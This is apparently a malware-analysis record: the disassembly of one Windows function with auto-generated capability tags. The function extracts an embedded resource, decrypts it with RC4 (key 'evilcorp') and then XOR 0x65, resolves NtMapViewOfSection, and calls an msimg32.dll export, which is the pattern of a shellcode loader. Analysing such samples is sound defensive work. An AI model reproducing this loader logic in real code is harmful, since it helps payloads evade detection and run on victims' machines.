Function at 0x140001170
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x150
mov rax, qword [0x140007228]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 0xfe
mov rcx, rax
mov rsi, rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rbx
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, ebx
mov rdi, rax
call fcn.1400038f0
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdi, 0xffffffffffffffff
mov rcx, rdi
nop
inc rcx
cmp byte [rsi + rcx], 0
jne 0x140001210
mov edx, 4
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbp, rax
mov rdx, rdi
nop word [rax + rax]
inc rdx
cmp byte [rsi + rdx], 0
jne 0x140001230
lea r8, [rsp + 0x30]
mov rcx, rsi
call fcn.140001530
mov r14, qword [rsp + 0x30]
mov rdx, rax
mov r8, r14
mov rcx, rbp
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rsi, rax
lea r15, str.evilcorp
inc rdi
cmp byte [r15 + rdi], 0
jne 0x140001286
xor ecx, ecx
lea rdx, [rsp + 0x40]
mov r9d, ecx
mov eax, ecx
nop dword [rax]
mov byte [rdx], al
lea rdx, [rdx + 1]
inc eax
cmp eax, 0x100
jl 0x1400012a0
mov r10d, ecx
lea r11, [rsp + 0x40]
nop word [rax + rax]
movzx ebx, byte [r11]
mov eax, r10d
cdq
idiv edi
movsxd rax, edx
movsx edx, byte [rax + r15]
add r9d, edx
add r9d, ebx
and r9d, 0x800000ff
jge 0x1400012ee
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rax, r9d
lea rdx, [rsp + 0x40]
add rdx, rax
inc r10d
movzx eax, byte [rdx]
mov byte [r11], al
inc r11
mov byte [rdx], bl
cmp r10d, 0x100
jl 0x1400012c0
mov r8d, ecx
test r14, r14
je 0x140001391
mov r11, rsi
sub rbp, rsi
mov rbx, r14
inc ecx
and ecx, 0x800000ff
jge 0x140001335
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rax, ecx
lea r10, [rsp + 0x40]
add r10, rax
movzx r9d, byte [r10]
add r8d, r9d
and r8d, 0x800000ff
jge 0x14000135d
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rdx, [rsp + 0x40]
add rdx, rax
movzx eax, byte [rdx]
mov byte [r10], al
mov byte [rdx], r9b
movzx eax, byte [r10]
add r9, rax
movzx eax, r9b
movzx edx, byte [rsp + rax + 0x40]
xor dl, byte [r11 + rbp]
mov byte [r11], dl
inc r11
sub rbx, 1
jne 0x140001321
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
mov edx, 8
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8, r14
mov rdx, rsi
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memmove
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8, r14
mov rdx, rbp
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memmove
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
movsxd rbx, r14d
mov rcx, rbx
mov qword [0x140007910], rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test r14d, r14d
jle 0x140001435
mov r8, rsi
mov rdx, rax
sub r8, rax
nop dword [rax]
movzx ecx, byte [r8 + rdx]
lea rdx, [rdx + 1]
xor cl, 0x65
mov byte [rdx - 1], cl
sub rbx, 1
jne 0x140001420
mov rcx, qword [0x140007910]
mov r8, r14
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov dword [0x140007908], r14d
call fcn.1400025d0
test eax, eax
jne 0x14000148f
mov rax, qword [0x140007918]
lea r9, [0x140007920]
lea r8, section..text
mov qword [rsp + 0x20], rax
lea rdx, str.NtMapViewOfSection
lea rcx, str.ntdll
call fcn.140002520
test eax, eax
jne 0x14000148f
xor ecx, ecx
call fcn.1400025c0
lea rcx, str.msimg32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.CallPath
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
xor ecx, ecx
call fcn.1400025b0
mov r8, rbp
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, rsi
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [0x140007910]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.140002670
test eax, eax
je 0x1400014f3
mov eax, 1
jmp 0x1400014fb
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400038d0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret